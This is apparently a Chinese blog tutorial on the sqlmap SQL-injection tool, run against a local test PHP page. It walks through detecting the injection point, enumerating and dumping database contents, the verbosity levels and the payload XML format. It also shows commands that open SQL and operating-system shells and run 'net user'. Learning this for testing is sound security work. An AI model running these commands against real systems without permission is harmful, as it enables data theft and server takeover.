zoukankan      html  css  js  c++  java
  • sqlmap工具使用

    sqlmap工具使用

    本次学习使用的sqlmap版本:1.4.4.8

     

    Sqlmap使用

      ①  判断是否是注入点

    sqlmap.py -u "localhost:8089/test003.php?ID=1" 

      使用了-u参数指定测试的URL,若存在注入点将会显示出Web容器、数据库版本信息,结果如下:

    web application technology: Apache 2.4.41, PHP 7.3.12
    back-end DBMS: MySQL >= 5.0 (MariaDB fork)

      ②  获取数据库

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs

      使用—dbs参数读取数据库。结果如下:

     available databases [6]:
    [*] information_schema
    [*] mysql
    [*] performance_schema
    [*] phpmyadmin
    [*] test
    [*] test_db

      ③  查看当前应用程序所用数据库

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --current-db

      使用—current-db参数列出当前应用程序所使用的数据库,结果如下:

    current database: 'test_db'

      ④  列出指定数据库的所有表

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --tables -D "test_db"

      使用—tables参数获取数据库表,-D参数指定数据库,结果如下:

     Database: test_db
    [1 table]
    +-----------+
    | testtable |
    +-----------+

      ⑤  读取指定表中的字段名称

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --columns -T "testtable" -D "test_db"

      使用—columns参数列取字段名及数据类型,结果如下:

    Database: test_db
    Table: testtable
    [3 columns]
    +--------+--------------+
    | Column | Type         |
    +--------+--------------+
    | ID     | varchar(255) |
    | Name   | varchar(255) |
    | Age    | int(11)      |
    +--------+--------------+
    

      ⑥  读取指定字段内容

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --dump -C "ID,Name,Age"  -T "testtable" -D "test_db"

      使用—dump参数转存数据,-C参数指定字段名,-T参数指定表名,-D指定数据库名称,在读取数据后,sqlmap还会把读取到的数据转存到sqlmapoutputlocalhostdump est_db目录下,文件以“testtable.cvs”保存,结果如下:

    Database: test_db
    Table: testtable
    [8 entries]
    +------+--------+-----+
    | ID   | Name   | Age |
    +------+--------+-----+
    | 1    | A      | 1   |
    | 2    | B      | 2   |
    | 3    | C      | 3   |
    | 4    | D      | 4   |
    | 5    | E      | 5   |
    | 6    | F      | 6   |
    | 7    | G      | 7   |
    | 8    | H      | 8   |
    +------+--------+-----+
    

      打开testtable.cvs:

    Sqlmap常用参数实验

    -v

      该参数用来显示信息的级别,一共有7个等级:

        0:只显示python错误和关键信息

        1:显示基本信息(默认)

        2:显示调试(debug)信息

        3:显示有效载荷注入(payload)

        4:显示HTTP请求包

        5:显示HTTP响应头

        6:显示HTTP响应页面的内容

      接下里我们实验一下:

    -v 0:

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 0

      只返回关键信息;

    -v 1:

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 1
    

       返回[INFO]信息,还会返回[WARNING]警告信息,这里没有警告信息;

    -v 2:

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 2

      显示[DEBUG]调试信息;

    -v 3:

      由于

    sqlmap.py -u "localhost:8089/test003.php?ID=1" –dbs

      该命令没有payload,所以改用命令:

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --os-cmd="net user" -v 3

       可以看到显示了[PAYLOAD]载荷信息,同时可以注意到有[WARNING]警告信息,这个在v1的时候即可显示;

    -v 4:

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 4

      显示[TRAFFIC OUT]HTTP请求信息;

    -v 5:

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 5
    

      显示了[TRAFFIC IN]HTTP响应头信息;

    -v 6:

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 6
    

      在[TRAFFIC IN]中还包括了HTTP响应页面的内容,当响应页面包含比较多的内容的时候不建议在sqlmap中使用这个等级的显示信息。

    Sqlmap中的payload

      我们可以在sqlmap/data/xml/payload文件夹中找到所有的payload,在boolean_blind.xml文件开头解释了所有的payload的标签及相关参数。

    Payload格式:

    <test>
      <title></title>
      <stype></stype>
      <level></level>
      <risk></risk>
      <clause></clause>
      <where></where>
      <vector></vector>
      <request>
        <payload></payload>
        <comment></comment>
        <char></char>
        <columns></columns>
      </request>
      <response>
        <comparison></comparison>
        <grep></grep>
        <time></time>
        <union></union>
      </response>
      <details>
        <dbms></dbms>
        <dbms_version></dbms_version>
        <os></os>
      </details>
    </test>

    各标签的具体含义及参数:

    标签:<test>

      SQL注入测试的定义,包含了一次SQL注入所有的参数。

      子标签:<title>

        test的标题

      子标签:<stype>

        SQL注入的类型

        有效值:

          1:基于布尔值的盲注

          2:基于错误查询的SQL注入

          3:Inline queries(内联查询)SQL注入

          4:堆栈查询SQL注入

          5:基于时间的盲注

          6:UNION联合查询SQL注入

      子标签:<level>

        规定了测试的检查级别

        有效值:

          1:Always(小于100个请求)

          2:Try a bit harder(100-200个请求)

          3:Good number of requests(200-500个请求)

          4:Extensive test(500-1000个请求)

          5:You have plenty of time(大于1000个请求)

        Tips:默认参数是1,当参数值为2时一般会检查cookie里的参数,当参数大于等于3时一般还会检查User-agent和Referer。

      子标签:<risk>

        有效载荷破坏数据完整性的可能性

        有效值:

          1:低风险

          2:中风险

          3:高风险

        Tips:默认为1,当参数为2时一般会有基于事件的测试,当参数为3时一般会有OR语句的测试

      子标签:<clause>

        有效载荷可以在哪个子句中生效

        有效值:

          0:Always

          1:WHERE/HAVING

          2:GROUP BY

          3:ORDER BY

          4:LIMIT

          5:OFFSET

          6:TOP

          7:Table name

          8:Column name

          9:Pre-WHERE(non-query)

        Tips:这些值也可以用逗号分隔。

      子标签:<where>

        在哪里加入有效载荷

        有效值:

          1:将字符串追加到参数原始值后

          2:将参数原始值替换为负随机整数值后再将字符串加到后面

          3:用字符串替换参数原始值

      子标签:<vector>

        将用于利用注入点的载荷

      子标签:<request>

        要注入的内容

        子标签:<payload>

          要测试的载荷

        子标签:<comment>

          在后缀之前,附加在载荷后面的注释

        子标签:<char>

          在UNION查询SQL注入测试中,用于强制联合列数的字符

        子标签:<columns>

          在UNION查询SQL注入测试中,列的范围

      子标签:<response>

        如何识别注入的载荷是否成功

        子标签:<comparison>

          使用这个标签中的字符串作为载荷并和<payload>中的载荷的响应进行比较,并应用比较算法。

          Tips:一般用于测试基于布尔值的盲注

        子标签:<grep>

          在响应体中的正则表达式

          Tips:一般用于基于错误返回的SQL注入

        子标签:<time>

          在返回响应之前等待的时间(秒)

          Tips:一般用于基于时间的盲注和堆栈查询SQL注入

        子标签:<union>

          调用unionTest()函数

          Tips:一般用于UNION查询的SQL注入

      子标签:<details>

        如果载荷成功,可以推断的细节

        子标签:<dbms>

          数据库的管理系统

        子标签:<dbms_version>

          数据库管理系统的版本

        子标签:<os>

          数据库管理系统所在的操作系统

    根据<stype>的不同,所有的payload被分别存储在这几个不同的xml文件中,文件名即是<stype>的类型。

     

    拿一个基于布尔值的盲注的payload来具体看看:

    <test>
    
      <title>OR boolean-based blind - WHERE or HAVING clause</title>
    
      <stype>1</stype>
    
      <level>1</level>
    
      <risk>3</risk>
    
      <clause>1,9</clause>
    
      <where>2</where>
    
      <vector>OR [INFERENCE]</vector>
    
      <request>
    
        <payload>OR [RANDNUM]=[RANDNUM]</payload>
    
      </request>
    
      <response>
    
        <comparison>OR [RANDNUM]=[RANDNUM1]</comparison>
    
      </response>
    
    </test>

      这条测试的标题是“OR boolean-based blind - WHERE or HAVING clause”;

      类型的参数是1,基于布尔值的盲注;

      level的参数是1,默认级别,不会对cookie等参数进行测试;

      risk的参数是3,用了OR语句的测试

      clause的参数是1和9,载荷在WEHER/HAVING/Pre-WHERE子句中生效;

      where的参数是2,将参数原始值替换为负随机整数值后再将载荷字符串加到后面;

      载荷是OR [INFERENCE],被注入的内容具体为OR [RANDNUM]=[RANDNUM]并和OR [RANDNUM]=[RANDNUM1]的返回值进行比对。

    POST参数提交方式

    --data="POST参数"

    sqlmap.py -u "localhost:8089/test002.php" --data="Name=A"

     

    sqlmap返回shell

    sql shell:

    --sql-shell

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --sql-shell
    

    操作系统shell:

    --os-shell

    sqlmap.py -u "localhost:8089/test003.php?ID=1" --os-shell
    

    成功后会创建一个对方操作系统的shell。

    --os-pwn 同上,获取一个OOB shell,meterpreter或VNC。(没弄明白,有待学习)

  • 相关阅读:
    java 项目自我总结-01 开发环境的搭建
    sql server 导入c#dll
    java 开发自我总结- idea 如何打包spring boot
    如何快速创建多工作页 excel
    运维知识总结
    .net core
    ubuntu安装网易云音乐
    Java中(==)与equals的区别
    Linux压缩打包命令
    文件目录属性
  • 原文地址:https://www.cnblogs.com/Dio-Hch/p/12808372.html
Copyright © 2011-2022 走看看